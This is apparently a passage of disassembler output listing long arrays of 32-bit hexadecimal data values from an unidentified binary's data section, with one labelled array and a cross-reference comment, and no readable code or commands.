		dd 942C876Ch, 0DAFB8508h, 208CCC72h, 840B84Dh, 37D077F2h
		dd 8C109918h, 8C5BF526h, 0B79E54F4h, 63B51448h,	0CA94C800h
		dd 64C6808Fh, 0ED0144FEh, 302E812Eh, 2717088Eh,	1AE08C7Fh
		dd 0E8A62D06h, 69DE16C5h, 1998B0A0h, 0EC566418h, 28A2830h
		dd 7BFFBACDh, 4470E974h, 0CC00095h, 0B141D7E4h,	94CA1410h
		dd 50063510h, 1F1F988Ch, 0D581551Dh, 0C4485467h, 49DDB884h
		dd 254A875h, 0F2061476h, 7C045EC9h, 0A401E046h,	926980FDh
		dd 98442EEDh, 0A887D33Eh, 4429D0E1h, 0DFD8307Fh, 0AC91D4F1h
		dd 0A8450E12h, 0A8177105h, 0D9E078E6h, 0AD0F0445h, 765DFD6Eh
		dd 70A29004h, 0CC58830Bh, 6C8C2D5Eh, 6D664465h,	92303498h
		dd 69DF211Ch, 380F9D8Ch, 42779785h, 86ADD9F4h, 9644D45Ah
		dd 42970095h, 6A033878h, 0B1594D84h, 0C9260640h, 4E28FDDFh
		dd 0F3F4D122h, 0E84E70C8h, 20169400h, 519F0E3h,	92767D69h
		dd 526D0014h, 3D67A580h, 1795FF85h, 7CCC089Ch, 6B8ABD60h
		dd 5993350Ah, 76F8D039h, 3007AAC0h, 0F474514h, 71E4E8C9h
		dd 3A260F9Ch, 5B00E7C1h, 0C88E172h, 63E4120Eh, 0F558C1C7h
		dd 0AAFCFD30h, 0EA4F1B75h, 0BFC8D9CEh, 4097E439h, 8AE01FD0h
		dd 465E9C56h, 9EBF01EEh, 0CEB60402h, 208239A5h,	207B6695h
		dd 507A810Bh, 8C2D1444h, 0A25B4820h, 0A7C200E4h, 0B501073Fh
		dd 0F0D2011Dh, 0F2FB0584h, 38227BE6h, 79EC48A9h, 0C4C2252Ah
		dd 7B2FEC58h, 5F747AADh, 674490DFh, 709C9236h, 0CB7910Ah
		dd 2A9F329Dh, 0B8F1C2D3h, 0DE5CDA2Ah, 0E56B29C0h, 1B49A87h
		dd 1F7FF645h, 201A6607h, 8D204AF4h, 61257CE4h, 34FBF156h
		dd 0F2502197h, 4710090Bh, 76016244h, 14E3BC18h,	9017A57Dh
		dd 5C5D184h, 0C8BDD9FBh, 13B84503h, 0F9EDD38Bh,	2D5B8A4h
		dd 73DE66DBh, 409C719h,	0D4A02964h, 6B609644h, 39516CF3h
		dd 1E90B8F7h, 28BE6CBh,	0A3C09752h, 64F0DAEFh, 18209F45h
		dd 0C6ED40AEh, 0A42FEB5Ah, 7A02F623h, 50468118h, 352713CCh
		dd 23683AC2h, 15D500EEh, 7A666782h, 5005E22Eh, 0DAED4580h
		dd 541FCF7Bh, 5E06F06Fh, 7C9088F7h, 3A9A112h, 4B310433h
		dd 0B8A259h, 197EC19Ch,	28E2A5h, 4CD95E3Ah, 0B069A070h
		dd 0E56A4B0Eh, 95420254h, 11C480F1h, 5864AD8Bh,	0FF816CF2h
		dd 0D2CA78h, 90033D6Ch,	0EAE044A8h, 82B8514Dh, 0DC4D7BD4h
		dd 0A49D1230h, 67166F68h, 0B0428584h, 0DF9C74A1h, 0A2999C90h
		dd 0FEEDCA00h, 6C8F0ADDh, 128F902Ah, 0D339F0C0h, 78101A78h
		dd 110017DFh, 0EEAAC898h, 2F05348Ah, 6446D0F3h,	2B91AC6h
		dd 771E6A50h, 0AC6786C2h, 960CB44h, 0ED004DBAh,	0BC220A5Dh
		dd 0BD5F06Dh, 0B060FC53h, 16CF447Eh, 5080C8DBh,	0F69A5361h
		dd 0BE122778h, 38EDA441h, 0B1719E18h, 950515FFh, 0CA17A37Ch
		dd 0E2420FEh, 0CC0B9E60h, 30687DFh, 38E0862h, 207FA469h
		dd 86911767h, 0F64034F5h, 7E2D2F13h, 338070D5h,	0FCA3D72h
		dd 452B3EDAh, 7525FF94h, 0E87784D2h, 910490B4h,	400FC568h
		dd 0D8680157h, 6FFF7461h, 7DCA74D1h, 0F2D8E204h, 0EA930CEh
		dd 0B816F570h, 84D4F364h, 0F088BC84h, 98849DA0h, 0FD0D40CCh
		dd 5E64C039h, 10C8B36Ah, 0F13FDA02h, 0A23C0C96h, 0BC7328h
		dd 48F800F6h, 0C69B5C18h, 0D8094110h, 0F2EE8C59h, 5EDF173Ch
		dd 0C7EC301Ah, 0C09DB841h, 0AC84192Ch, 5678B490h, 877B6321h
		dd 0DB1FCC7Eh, 70916490h, 5561D988h, 96ED4DCh, 6064755Ch
		dd 5CD4DEE3h, 0ADA603F4h, 0E95C39DEh, 0D686002h, 0D0744175h
		dd 0C4D9DE8h, 0C19398C0h, 3BDF03C5h, 84F59FADh,	8C1CD5BCh
		dd 359DF804h, 0FB0285C0h, 427C8029h, 68BFE609h,	80BDCD3Ch
		dd 90207E35h, 20489818h, 0B17B901h, 0D8B15D43h,	2E746C24h
		dd 0A5747841h, 6072DC53h, 4165F8Ah, 4AFDAC75h, 7A18D0B5h
		dd 765EEC54h, 0A70544E6h, 0C32C5BB6h, 7E99731Bh, 93A9BC6Ch
		dd 5CC13974h, 0C92ADBFBh, 135DF1A0h, 0A187B82Bh, 0D43724EAh
		dd 73460804h, 0A00C8342h, 0F9E27DACh, 90EE9518h, 10683948h
		dd 885FE968h, 3125EE8h,	32AA66C2h, 78402B0Ch, 0BE0247A0h
		dd 36681346h, 4320487Ah, 0D8F04E64h, 0E1E517BCh, 0EED855DFh
		dd 5756020h, 6E7261h, 0E701DC5Dh, 1E65A5CDh, 125F3E05h
		dd 12FE1C98h, 17CAC1FBh, 0A24073B2h, 9E0E3002h,	2510A09Dh
		dd 7505ED19h, 8FA0C0BFh, 0D7FBC717h, 8B7470A0h,	42D60D27h
		dd 24048540h, 8108BCA9h, 0F185D5E6h, 981E501Eh,	68D63A7Eh
		dd 801EF718h, 28F06E16h, 59ED607Fh, 41EBEC7Ch, 0D3D5B200h
		dd 0A08D1345h, 5605014Fh, 8085BA63h, 0ECDC5491h, 43C8E8A4h
		dd 3FA0007Ch, 74693AFCh, 1F557168h, 12979BD8h, 0B28F29Fh
		dd 64DEC58Dh, 9484813Ch, 0D310482Fh, 0E47C45A7h, 95A560DFh
		dd 9FB8B9D6h, 60B86DD2h, 0C8A47A09h, 0D861C10Bh, 983410F5h
		dd 14C22F54h, 7AEAC410h, 300E8D00h, 4D20A3EFh, 0EB6700C7h
		dd 6EF203F5h, 790BB42Ch, 60B3BE2Ah, 4D718C04h, 290028EEh
		dd 0B82285CFh, 1303E7ABh, 3DC23426h, 2EB9D902h,	68223471h
		dd 0F630025Ah, 82FDCD8Ch, 9A1DE748h, 9A2C569Ch,	0B4821170h
		dd 0FF21E39Eh, 19DC0B01h, 0E83395FCh, 0A5493851h, 7790A330h
		dd 579682FFh, 937DB890h, 8D8FC27h, 875288F8h, 0C9828C2Ch
		dd 9E3444BEh, 38D010D8h, 0B0EA2D70h, 41818468h,	0A8B02A5Eh
		dd 6E941A41h, 785A816Fh, 71C15DF6h, 0E032598Dh,	9C5120AFh
		dd 850B3D0Eh, 202C7C79h, 0F2182251h, 0E19A6110h, 4449257Ch
		dd 0D6D580E0h, 1AE83701h, 49D2A97h, 0FB704A6Eh,	0FF213CC0h
		dd 11747A82h, 0F0460B59h, 61B3E06h, 1997EF3h, 26DA3DF6h
		dd 3FFA3167h, 20B488h, 23A69A8Dh, 0F9D844C8h, 34E6FF09h
		dd 9CB50087h, 0C16DAFCh, 0BDD68603h, 0D0009E21h, 0CC7F48BFh
		dd 26E52DFCh, 2A38CD7h,	0CFB63ED8h, 7900BCE4h, 9BB2116Fh
		dd 1519EFh, 17BE84EDh, 3EC1241Eh, 943B5800h, 0B93DD8ADh
		dd 26140B30h, 0E880D73Fh, 0DDF27FBAh, 0F6806095h, 0CBD82054h
		dd 20303567h, 0D57ED022h, 18D07815h, 0F4A0C341h, 0F6A1B2BCh
		dd 60108C51h, 40460878h
		dd 3640A14Fh, 0E0214061h, 4090F140h, 5E400D7Fh,	1943643Ch
		dd 0DE6D048Dh, 60F41812h, 880F434h, 4DD9801Bh, 0EB0971D8h
		dd 88BA8162h, 850A871h,	0B5085842h, 29C01B69h, 0DB023F82h
		dd 7901028Ah, 249AD02h,	0BC022FF0h, 0F30F035Dh,	202E5920h
		dd 7E2020D5h, 0B9DA6631h, 0B4639177h, 31320749h, 31C8C889h
		dd 70240194h, 71874999h, 0C4EC0148h, 4E4F2888h,	94A13518h
		dd 0B7EB831Dh, 0C0F12019h, 1998D308h, 0D0CE6180h, 0AA5408C4h
		dd 69855906h, 6410B562h, 0C33C02D8h, 37396C06h,	0AC1892E5h
		dd 29405091h, 86462AFh,	0DF026372h, 46D705E2h, 40AC7CC8h
		dd 32599920h, 0BF10D54Fh, 6508DCAFh, 88E9708h, 0F118F6CCh
		dd 80E509E1h, 0C48035E4h, 66D0A9F7h, 11A5401h, 3A0793B4h
		dd 3CD2889Ch, 0D868808h, 0DE087105h, 2A2FCCA2h,	250B902h
		dd 0B30338D3h, 91D1665Ah, 0B20D981h, 29246EE6h,	0CA6C4412h
		dd 0BAE30668h, 2E512010h, 18084B49h, 2018C29Eh,	0F05680E3h
		dd 81D33080h, 0C62188DFh, 0E4A0087Dh, 24333A09h, 0B704461Ch
		dd 199D0653h, 897740A9h, 0A8E12C40h, 803EE0C8h,	0D2819148h
		dd 0CEE49451h, 822D6888h, 8794908h, 0A615DF10h,	237C1094h
		dd 20A0932Ah, 0CE208C6Ch, 4DAD20E1h, 204A8320h,	86666A32h
		dd 20094999h, 1F2040A7h, 9C1A5464h, 544892DCh, 0CADED808h
		dd 88BC36A1h, 0F008574Ch, 0D0EE155Eh, 6D49C47Ch, 55BA045Ch
		dd 0D8ADD106h, 20240A20h, 0F724E585h, 4C9974B8h, 0B8529B10h
		dd 3AC0A44Eh, 425E9C91h, 32F839A2h, 8BC94352h, 67E2302h
		dd 52F74109h, 0C44896E4h, 8C6D443h, 3118DD36h, 76087A2Ch
		dd 0DC0A016Dh, 1896201h, 0AB0273B0h, 0D73DC048h, 6FB708C5h
		dd 78498442h, 8134561Fh, 258BF62Bh, 0D394648Ch,	1D3033F0h
		dd 53DD108Fh, 50100B9h,	0C2F4609Fh, 74F52DDAh, 4009620h
		dd 0D76BB215h, 1C34583Dh, 0ED8A394h, 9A82F2E3h,	0D8C6A606h
		dd 0A55ACE00h, 0E6CA4C64h, 6B840101h, 40958CE5h, 44F02B4Eh
		dd 0B87E189Dh, 39F4300Ah, 0D4F0A018h, 1F913640h, 30DB9D01h
		dd 33CF180h, 0F20935Ch,	0C41BEh, 1C79D958h, 48A30197h
		dd 0F63D4326h, 493EE883h, 0B6120300h, 1B9939A2h, 97280025h
		dd 9319BDB1h, 4600A745h, 0D1758A5Ch, 0DC01201Fh, 0FD908FB8h
		dd 89E8FCB7h, 18D8DA2Fh, 0B8772B94h, 4A0CB49Ah,	105FEA95h
		dd 0C8E71CBCh, 0D183FCD0h, 0D8F1FEBFh, 3795E6C0h, 74C73B01h
		dd 8FC99602h, 0D297308Bh, 0B07F5C90h, 0D6980954h, 0C0C6F207h
		dd 0D031E7E6h, 0F084C7BEh, 0A00B9D7Eh, 6C1B15B0h, 0E161F203h
		dd 18BDC159h, 0CA209886h, 1E1828D7h, 2D61DD5Ch,	223C8072h
		dd 3F8FD50h, 65712503h,	0D46A20h, 7490D530h, 0FFBCCBB1h
		dd 0F5E8B601h, 0A145193h, 2A3E130h, 9DB9D0C9h, 0C880F031h
		dd 4822F60Dh, 0E3567E18h, 78427C60h, 57B52430h,	0DEFB1C38h
		dd 7FE10CABh, 2013820h,	20342F08h, 0B0507048h, 3C3195A6h
		dd 1C0074E8h, 0BF6D1D5h, 7D307ED8h, 2AFC38C3h, 0E009F8F0h
		dd 0B8DC1E2Eh, 0C57E46E6h, 213C2071h, 0C8F1301Fh, 3FD0A97Fh
		dd 6A29D285h, 597D8094h, 6BCA1FCFh, 8A3378CFh, 7914D0E8h
		dd 0DBF480F0h, 1BA1F2h,	79CCDC7h, 95F64EC1h, 0B31FC600h
		dd 0EBB17C4h, 0C0735E96h, 2715B2F0h, 0E17A9518h, 49E6A2C0h
		dd 88642414h, 15248859h, 0F2D320C0h, 1FB62414h,	0B0E07E2Bh
		dd 0FE1DC078h, 20039C0Bh, 0D5A0E065h, 127E7995h, 5CD2F0Ch
		dd 0E5E4C694h, 0FDD885FCh, 5C5EB213h, 11A04E0Dh, 70F0C840h
		dd 15120AE6h, 91444F2Eh, 0FE0E0A25h, 9D050C43h,	0EC013A1Dh
		dd 0D19719A2h, 0F112FC69h, 0B9BC0989h, 0D59D4802h, 0A0ACC58h
		dd 0F0FA203Eh, 7BF85614h, 0A8961F78h, 17951800h, 3D14AD5h
		dd 7EF2DECDh, 0A07EB5A9h, 1081DF4Eh, 0CFCDDDBBh, 0A6B440F2h
		dd 0C45C04F7h, 148D9A95h, 39712194h, 0EBF2F1E2h, 9813EC9Bh
		dd 24E14C1Fh, 0E820B844h, 26F1F3F2h, 182CC909h,	9AC6B9BAh
		dd 867EBE00h, 35C01C26h, 1FCE909Dh, 64178236h, 44B8A00Ch
		dd 4304D518h, 89A37E2Dh, 465E1Eh, 15BAA8FBh, 2E54FD19h
		dd 9EB87108h, 0D5C18560h, 77E7D4h, 502F0A2Dh, 0C651287h
		dd 9525E504h, 2490F669h, 0A14CA89Dh, 0D892D9C0h, 7F4C0997h
		dd 2BFD2882h, 0F0BCD498h, 62FE80h, 181404EDh, 65C63B4Fh
		dd 8DE05B15h, 0F07E09F0h, 3CCC2177h, 8C22C97Ah,	0F96B940Ch
		dd 0B500C0A1h, 6C443FE2h, 0A098A6h, 0DBCB2B7Ah,	6DD496F5h
		dd 172E920Fh, 5C22E010h, 56AE77h, 0C557CDF7h, 0D1BAF560h
		dd 0AC159501h, 342E2AD5h, 127D0840h, 0AF7E1836h, 10138892h
		dd 0BFC4D4Dh, 5A3AD0E2h, 22FF1824h, 1513B9C9h, 29CC8574h
		dd 60DB4EFAh, 2FAF1068h, 8D61287Eh, 0D03A1751h,	28928ED9h
		dd 956831FDh, 0A446236h, 3CEE9F13h, 471F2E83h, 95201208h
		dd 8418241Ch, 93200434h, 337892A9h, 0F01580C8h,	7F114406h
		dd 0EC30E839h, 9EF90B5Eh, 80781812h, 5C5A1F1Ah,	1C385481h
		dd 0B9468B93h, 43109C0Ch, 0A8F33400h, 9E7E0BCDh, 9C5D48F2h
		dd 0A080F827h, 48AF654h, 0BF99AF1Fh, 18A5320Ch,	0E8D84834h
		dd 397E450Bh, 3582F040h, 84379801h, 0F5B034C1h,	5820A321h
		dd 0DD8A13ACh, 0A2E800CDh, 0BE9081FBh, 0BA853Fh, 60B04B86h
		dd 58FD9Eh, 0ED4EC903h,	97251CDDh, 1A8E9900h, 3076F0E4h
		dd 8D15098h, 92AFF07Eh,	361B0328h, 0A2208ABEh, 0C029A12Fh
		dd 93C56BACh, 4D02A58h,	0F7FFC9A4h, 0FD96C0A1h,	0F6003402h
		dd 0FC03BF89h, 26FE243Dh, 84E84E7Eh, 819A851Ah,	297AF54h
		dd 0CDDC85D5h, 2C09082h, 0FC40D17Fh, 9380BCFCh,	0A6D8A8C9h
		dd 60FE8064h, 74880B4Dh, 0EC1D9098h, 8026F90Dh,	0B57F2E40h
		dd 0F0965A7Eh, 2048FC60h, 6BDFC4B4h, 0D5F8770Ch, 97727A00h
		dd 7919EDB9h, 81F60021h, 36D61805h, 7E139EE8h, 0C861D9EEh
		dd 7A021A7Dh, 0B84CFC6Ah, 676DF518h, 2E960B28h,	812C657Ah
		dd 0EF953FD8h, 0CECA01F9h, 663C8033h, 4154FCC0h, 10616454h
		dd 20922D20h, 1824F3C1h, 0E88B3AFDh, 3C68DE26h,	3D4742Eh
		dd 97E17F18h, 522B4800h, 0EC47A825h, 7A50209Dh,	330F103h
		dd 356784DDh, 0BD10F6B8h, 0CD77132Ch, 4031B448h, 64FB502Dh
		dd 3A9D93Eh, 8EB4E77Fh,	564CB2FDh, 12851608h, 0BDC6128h
		dd 228DD1C2h, 7E4481DCh, 0AF07A7EDh, 877DE705h,	4075854Eh
		dd 0A2220DDCh, 88DFA6DDh, 850504E4h, 2880D212h,	0C2C20D9Dh
		dd 0EA92FE98h, 9880C8A9h, 4ACD142Dh, 0FD8A24Ch,	0A48CD7C2h
		dd 68AC769Ch, 9B45A703h, 0E0D856F9h, 0F1247EB9h, 0FE020CFAh
		dd 80DD1158h, 3EF52AA4h, 24DE1605h, 0A5300F67h,	0A2473724h
		dd 4A7C1314h, 0B8D0541Eh, 0C119627Ch, 3450D320h, 8E010490h
		dd 959AC19Dh, 20865880h, 0A02FDDB0h, 69676C00h,	933442FCh
		dd 5B3301CFh, 3CA01D7Ch, 0F7688AB8h, 0A241CC2Fh, 3C7404EFh
		dd 208C90C1h, 951CF284h, 66873B96h, 0F3C32DB4h,	33192C2Bh
		dd 0AC6894h, 0A02DF509h, 18C4CB45h, 0E481F00Eh,	0B460E0DFh
		dd 0AAFD7E97h, 84B467D4h, 0D0FC3815h, 20D0DAB4h, 48D4C8A0h
		dd 6D1EA490h, 0C20AC5A6h, 0E30060E5h, 0E89E5DFDh, 0A0086FADh
		dd 0D9003EA8h, 0AEBA6D6h, 8E2F28BFh, 2614ACF0h,	0E0343115h
		dd 2550CF61h, 80A8A43Ah, 2D3D97C5h, 39AE6D17h, 0F9E3AD20h
		dd 1DF93F30h, 3268609Eh, 0D61F84E4h, 97CF8115h,	0CFCCA09Fh
		dd 123AA33Fh, 0E892F8h
		dd 0CE0BA743h, 7E152A3Bh, 1EF4815Ah, 8808304Dh,	58FC0A8Ah
		dd 36970B48h, 0BC4080Fh, 0CF71057Dh, 0A18D48F4h, 0D089EF90h
		dd 0B01931F7h, 450281Eh, 812432E0h, 0DA107CC5h,	17141D80h
		dd 0FDB200A0h, 0E119D89Ch, 0DC2895D0h, 0B41FBC37h, 10A6937Dh
		dd 7E58F468h, 154F2675h, 6044F54h, 0A8FE0AE6h, 36BA209h
		dd 0E570F698h, 309D70F4h, 0A34824AEh, 0E0003A39h, 0CDC7BEEAh
		dd 5876722Bh, 9D003C22h, 1FB85244h, 0F8C00C0Ah,	0E8130E34h
		dd 1CEE6A5h, 8DC6334Ch,	443D2D20h, 0D00DC0C8h, 7B329D7Eh
		dd 57756084h, 7448B889h, 0FB04F609h, 5D37EF1h, 1438C8h
		dd 0D506D69Ah, 9DD87097h, 0A4D04D4Fh, 61B4208Fh, 0DE2A60DAh
		dd 49A877C0h, 12F0206Ch, 30B1C9Dh, 0E13B0C50h, 1FC50D88h
		dd 0C4005C4Ah, 0C41B2E45h, 0D602255Eh, 895B7087h, 0C9B3A0A0h
		dd 8CF8E648h, 0BC94DE00h, 0E920FFE1h, 4E7F1B06h, 97E128EEh
		dd 4014380Eh, 0D1784A44h, 3FF29326h, 0AC8A1F06h, 92D51EB0h
		dd 0A3E10C74h, 0F6242B10h, 0CC631088h, 391803EFh, 87A8960Ch
		dd 0BC17580Fh, 0FCBD0A0Eh, 143B979Eh, 22F0DCE1h, 0DB94306Ch
		dd 0F69F1889h, 2F978704h, 4898EB0Fh, 0E6D805C1h, 40EA9C9Dh
		dd 68FB03C8h, 0A482513h, 20580544h, 900B6DEEh, 0CAF00080h
		dd 0A009F49Dh, 586B47A4h, 9879E086h, 183F7B0Ch,	0B8B1F71Fh
		dd 4494B97Fh, 3438209Fh, 988118A4h, 0C464F93Bh,	0C34B045h
		dd 9A9DB481h, 145BA759h, 7C4B2495h, 0A0EC0067h,	0CF0DF895h
		dd 2076B5D8h, 0BDACBF98h, 1BBB9D1Ah, 0C11CC9C9h, 59FC4042h
		dd 4ECE8880h, 4BB8F114h, 104F180Ah, 95EE488h, 8881B8DFh
		dd 0C42FD7Ch, 9425841Ch, 0B278C0F0h, 0FD2200A3h, 3F1CED14h
		dd 0F0B443Eh, 23792596h, 0A05CA2F8h, 18A72D24h,	182F3995h
		dd 0FA01D0C8h, 7E8A44C5h, 0F88A6E05h, 1C08011h,	74DEBE95h
		dd 7AC9967Bh, 697E7505h, 44FC9C90h, 346600F8h, 197CE849h
		dd 0D00D4FFh, 271858F0h, 309DB595h, 37D0578Fh, 4001029Eh
		dd 54213EF6h, 0C2C03AD0h, 0ACCA207Eh, 2CC0114Dh, 84A608EFh
		dd 10344216h, 0C7CB8800h, 0E05EAD9h, 4622FDA5h,	9C02C3CEh
		dd 0ACB2F511h, 0D21FF883h, 7E8CD2CCh, 0ECE9C90h, 60C6F230h
		dd 0D24ACC9Dh, 0C2380038h, 0DFD6D3A2h, 960A9B05h, 2CC83BAAh
		dd 2E098877h, 0F4DC6705h, 8CC2AF8Dh, 70E5032Ch,	85A55018h
		dd 1394C610h, 0C3D3D420h, 13A4FE94h, 58D07441h,	0A847FCD1h
		dd 3253C7A4h, 1F01977Ch, 0C08015D5h, 6D1020Bh, 29F9E430h
		dd 54A4274Ch, 8392881Ch, 6F91D503h, 0FC3F889Ah,	0BE13002Dh
		dd 73D8979Eh, 0B7005A23h, 0DF45FB5Dh, 3B562C9Fh, 24B7DE1h
		dd 9825F49Ch, 9424B8C6h, 598F84ACh, 0FFC40373h,	0BC02DDA2h
		dd 40CDCC87h, 81061B9Ch, 0E7A840C7h, 0BE4FCF58h, 0E9D7845Eh
		dd 9594A041h, 838823Ch,	0C1DAB700h, 2FF63DADh, 86F89C92h
		dd 3C769F00h, 87F7172Eh, 0A56700AEh, 8AFF88Ch, 0CCE215FEh
		dd 1EE00305h, 0A858DCA2h, 2417CD78h, 8F06426h, 284062BDh
		dd 0BF9B70Bh, 739536DCh, 60B9AC48h, 35E49410h, 1747054h
		dd 2C97C858h, 80EAF61Fh, 0CF60E7B8h, 19D1F28Dh,	30107295h
		dd 0C04C28B9h, 7F131F3Ch, 0C81E60A2h, 0BA336C12h, 9D0AC309h
		dd 60A4C205h, 99D79818h, 3C0D091Ch, 0F397B891h,	1566B190h
		dd 9886770Ah, 0D912089Fh, 85387C10h, 5481FECEh,	0F6019B18h
		dd 90A02903h, 0FC444FF8h, 1888E0DDh, 98F17435h,	8182FAACh
		dd 97D853E2h, 2048604Ch, 7E470C69h, 2450BDFAh, 0AA2D11F8h
		dd 5054807Ch, 2C17A3E9h, 22CB6D6h, 9FF01F25h, 9561E507h
		dd 94418108h, 0F820AF11h, 0A8D40017h, 359C971Dh, 0F30279CEh
		dd 0B120A175h, 97F453A7h, 0A9B860FCh, 7235A2D0h, 78001165h
		dd 14F4BD52h, 0A0561CDAh, 9290337h, 0A0951FC2h,	7E19428Ch
		dd 2E50C90Ch, 0B1579EF0h, 1A731E7Ch, 7884E985h,	6177217Eh
		dd 2FA4B880h, 0F2C3FE13h, 0A8926F00h, 0E3F77634h, 0FDFC1418h
		dd 0B44C0CABh, 5DA47E13h, 59CF0738h, 8DD82B4h, 0D834D840h
		dd 24A838E3h, 7C9DB4AAh, 9F3098C0h, 2E62A6E5h, 2000BC23h
		dd 48F8B044h, 444EA07Ah, 70D58A4h, 913095C9h, 0ECF50B9Eh
		dd 0B1257CAAh, 83153F54h, 0AD1EBCEAh, 0C80CC0D2h, 8CAD1E9h
		dd 0DAEDC600h, 89958DA3h, 0E07CB439h, 9821F60Ch, 0FE97E4B9h
		dd 147FF003h, 0D4103CB6h, 9EC07A28h, 7C3AC298h,	0B32C05h
		dd 80C1E24h, 3C3C4EECh,	42A20F19h, 84E414EFh, 48F1EB1Fh
		dd 0C964D428h, 13688A67h, 1642B5h, 439598C8h, 0F4E1079h
		dd 0AE9F4800h, 68920AACh, 0A620C360h, 4FA037F5h, 7FB007E4h
		dd 0F464B989h, 98300A4Eh, 0C410DE1Eh, 9E8D9h, 0D93BC6C8h
		dd 0C41F18EBh, 0F368B04Fh, 1432F424h, 99007739h, 66C73E6Bh
		dd 258D428h, 0A1A2752Dh, 48C8F030h, 5473CF61h, 8E32F52Ch
		dd 9AC47B05h, 511F4BC0h, 7ABD0035h, 0CD3396BEh,	7E1AA302h
		dd 0CC80CFF1h, 35FD0220h, 0DCFE86EBh, 0D8ED9CA0h, 0D55628A2h
		dd 7CA42CACh, 892B4480h, 0FCD493B1h, 82A01A13h,	74C0E023h
		dd 0AF2704C5h, 0EF9004D2h, 0B034DF02h, 95856451h, 4C1E6A1h
		dd 7C73CDC7h, 93B0360Ch, 79C9BED8h, 37001852h, 58D56524h
		dd 0C0B882CDh, 442B09h,	52732E3Ch, 83E7131Ch, 0DA380647h
		dd 4442F194h, 7D469D09h, 890086Ah, 7E759B17h, 1829D89Ch
		dd 382D1F61h, 0FAF58842h, 0C826206Ch, 39D0C15Ch, 80D0A7E5h
		dd 0D7FF18F8h, 6CCB5D7Eh
dword_4E414C	dd 9D05F404h, 77D8A051h, 95B0AA00h, 0B2445384h,	1BCD09A7h
					; DATA XREF: ___:off_43A1B8o
		dd 60826C36h, 302F39F4h, 0ECC69482h, 9D18C450h,	7718CD5Dh
		dd 2B95A82h, 0FD731FF8h, 417030C9h, 81E607D8h, 5EC7B49h
		dd 0E1FF66AAh, 1882EB6Dh, 0E14C7E2Ah, 0B486A878h, 0D031DD26h
		dd 0A4E6EE1Fh, 0BE9E9450h, 0B37F0278h, 909833F6h, 0BC91CE0Ch
		dd 0EC982444h, 0B22026A6h, 9534004Ch, 97B5EB80h, 69AAD516h
		dd 97EE605h, 0F441ACB1h, 1062B6E1h, 12028D3Dh, 0F5D99519h
		dd 0E51C30D2h, 7E444401h, 450B72BAh, 0C3F72500h, 5400A097h
		dd 35E84F1Ch, 9094FF96h, 0D2BA0062h, 983D83D0h,	1400DE7Fh
		dd 2EFD8F55h, 1E716679h, 141FDDDBh, 30000846h, 147D87F6h
		dd 171CE765h, 0A06CD8AEh, 0E857FEE3h, 80A1B67Fh, 95014079h
		dd 0A597A71Eh, 67F412C0h, 2FD40044h, 4DD50833h,	0CB61FD30h
		dd 0F1FBF441h, 0CFD1C3E0h, 0F009F311h, 1F2AE844h, 973DC850h
		dd 0FF0B0035h, 0E1C69CD1h, 27D303F7h, 20327636h, 0DC48CBBAh
		dd 0DC9C7195h, 88890393h, 788B5161h, 0B4042F0Bh, 69D900FFh
		dd 8C1323h, 9AB419BAh, 344D71C1h, 0DF17A50Fh, 0A4A780AEh
		dd 2E0846h, 88A32C4Fh, 8F0A9DD3h, 0F8A8BC9Eh, 28487F72h
		dd 2CEF1EA4h, 0E6C8DD01h, 3C70DE2Ah, 2F141D42h,	29E4AC7Fh
		dd 0A0850420h, 0F7C8F571h, 3C270824h, 80544662h, 5AFA2FCh
		dd 25C8DC7Dh, 2B0024F4h, 794B315h, 0AF4405FEh, 80C4FC09h
		dd 0AC1170CCh, 4B89F600h, 18FB519Ah, 727E2D9Dh,	19229C80h
		dd 700BD121h, 98717BB9h, 80FB80CCh, 0A2209DC8h,	255B00D8h
		dd 83CD48F6h, 0AA50DC2Fh, 7500DACDh, 0A639AF30h, 0F207AD45h
		dd 5A1F27BCh, 75868880h, 0A5483B94h, 0BE18009Ch, 1F59240Eh
		dd 7CDD48C0h, 4B661C00h, 7EC9DEABh, 0E6710400h,	57730E17h
		dd 26167BF1h, 0E148DB67h, 0F1D21281h, 7074F0E3h, 7E6AE605h
		dd 0BC142755h, 0DE8810F4h, 5412463Eh, 4708DCA9h, 0C454285Ch
		dd 170389ABh, 32E00BA6h, 0D605DEDCh, 0CD7F0683h, 0BF60DCE1h
		dd 7D840696h, 61FCC11Fh, 10572D01h, 45D58636h, 7A45EDCh
		dd 0FD26A3BEh, 6C215020h, 1D00F597h, 64D5FF25h,	0A97461EFh
		dd 5C35EBE8h, 7D5D7864h, 4C8B2DDh, 0F8C49278h, 0DC880BAh
		dd 0F23E6111h, 0F44D0094h, 1D7DC65Eh, 2D7E1848h, 54EAC8CAh
		dd 0C074D50Bh, 12D46881h, 9D188CD2h, 98F8E1A7h,	1225003Dh
		dd 0CABF96F7h, 400882Ah, 0B989B58Bh, 0C92615h, 1A7A5699h
		dd 51429DB0h, 0F7023890h, 62E93D32h, 936060CBh,	3E530409h
		dd 0B60F7Eh, 190432E8h,	250B0010h, 3DFFB2A8h, 1A0A86BAh
		dd 947D7AC6h, 482C2C24h, 9DC84869h, 88DD5956h, 3AB9831Eh
		dd 811C6CACh, 7F12E6AFh, 19B024BDh, 0BC6BA209h,	1CDC597Ch
		dd 0E0620BB5h, 9753000h, 2B00A20Ch, 0E4939B97h,	0FA766D5Ch
		dd 6F1528BAh, 98A504D0h, 0BB48DEA6h, 0C050EC89h, 99BD1D7Eh
		dd 0D1A69370h, 388923FCh, 50D03BE8h, 0EC045CE4h, 0D4F81F0Eh
		dd 6155A587h, 2DCDB840h, 120134D7h, 0B288D37Fh,	96090584h
		dd 0F8019BC7h, 0B6919DBEh, 60478089h, 0FC849C80h, 7E124E20h
		dd 4004F824h, 21AEC725h, 0D0A47770h, 8090D7E8h,	942D3894h
		dd 652F77CCh, 0B0F4C996h, 0E9495C24h, 3E007B88h, 0E03B8AABh
		dd 5CFF1789h, 714AE09Eh, 40965918h, 709DCFCFh, 409C6ABDh
		dd 0FCE076Ch, 7214F1F4h, 9564C0F6h, 0A8D23225h,	0F4422821h
		dd 591EBD00h, 0E0180C4Bh, 0A077C940h, 0B48E8968h, 0A8DD4468h
		dd 97A48E18h, 0DE78C445h, 52CCCCh, 9B0CBC89h, 58AC6C3Eh
		dd 8270B505h, 80D82Fh, 0E6EA12D3h, 331507AAh, 0B2998524h
		dd 48695294h, 18303A4Fh, 0E6B67Eh, 1D2AFDBDh, 0DD9303A5h
		dd 42508B78h, 0BE003008h, 77D39833h, 12DDEA1Fh,	0E2DBF40Ch
		dd 20C9206Ch, 960BBCFBh, 82DFAD30h, 0BC6A688h, 9A7F9081h
